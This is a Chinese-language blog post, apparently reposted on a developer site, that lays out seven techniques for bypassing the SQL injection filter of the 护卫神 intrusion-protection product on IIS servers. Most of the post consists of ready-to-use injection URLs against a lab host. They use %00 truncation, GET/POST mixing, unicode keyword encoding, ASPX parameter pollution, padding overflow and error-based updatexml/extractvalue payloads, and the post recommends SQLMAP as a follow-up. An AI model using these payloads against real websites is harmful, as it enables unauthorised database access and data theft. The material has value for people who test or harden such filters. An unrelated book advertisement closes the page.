内容简介:护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。护卫神官网:http://www.huweishen.com
0x00 前言
护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个 SQL 防注入功能。
这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。
0x01 环境搭建
护卫神官网:http://www.huweishen.com
软件版本:护卫神·入侵防护系统 V3.8.1 最新版本
下载地址:http://down.huweishen.com/hws.zip
测试环境:IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL
0x02 WAF测试
护卫神SQL防注入的规则几年了基本都没有什么变化,先来一张拦截测试图:
姿势一:%00截断
%00截断是上传漏洞中常用的一个非常经典的姿势,在SQL注入中,也可以用来Bypass。 在WAF层,接收参数id后,遇到%00截断,只获取到 id=1,无法获取到后面的有害参数输入;
在ASPX+MSSQL中,支持%00来代替空白字符,构造的SQL语句得以成功执行,获取数据。
http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
在PHP+Mysql中,可以用 /*%00*/
,同样可以进行Bypass。
http://192.168.204.132/sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata
姿势二:GET+POST
当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均适用。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns POST:aaa
姿势三:unicode编码
IIS服务器支持对于unicode的解析,对关键词进行unicode编码绕过。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns
姿势四:ASPX+HPP
在ASPX中,有一个比较特殊的HPP特性,当GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序GET,POST,COOKIE,中间通过逗号链接 。
UNION、SELECT、两个关键字拆分放在GET/POST的位置,通过ASPX的这个特性连起来,姿势利用有点局限,分享一下Bypass思路。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union/*POST:id=*/select 1,column_name,3 from information_schema.columns
姿势五:ASP %特性
在IIS+ASP中,当我们输入un%ion,解析的时候会去掉%号,服务端接收的参数是union。
http://192.168.204.132/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.columns
姿势六:缓冲区溢出
在PHP+Mysql中,使用POST 大包溢出的思路可成功Bypass。
http://192.168.204.132/sql.php POST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from information_schema.SCHEMATA
编写一个简单的 Python 脚本,当A的个数填充到49099时,可成功Bypass。
姿势七:黑名单绕过
护士神SQL防注入,采用的是黑名单过滤,关键字并不全,比如只过滤union select,select from却放过了,那么这里就存在很多种绕过的形式。
基本上报错注入、盲注、延迟注入都可以很轻易Bypass,这时候直接利用SQLMAP,指定注入方式来获取数据。
?id=1 or (select 1 from (select count(),concat((concat(0x5e5e21,@@version,0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a) ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) ?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
0x03 END
总结了几种IIS下SQL注入 Bypass的思路,在实战中也很常见。
欢迎分享本文,转载请保留出处。
听说公众号赞赏功能升级了,我也来试试。
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。
以上所述就是小编给大家介绍的《Bypass 护卫神SQL注入防御(多姿势)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Numerical Recipes 3rd Edition
William H. Press、Saul A. Teukolsky、William T. Vetterling、Brian P. Flannery / Cambridge University Press / 2007-9-6 / GBP 64.99
Do you want easy access to the latest methods in scientific computing? This greatly expanded third edition of Numerical Recipes has it, with wider coverage than ever before, many new, expanded and upd......一起来看看 《Numerical Recipes 3rd Edition》 这本书的介绍吧!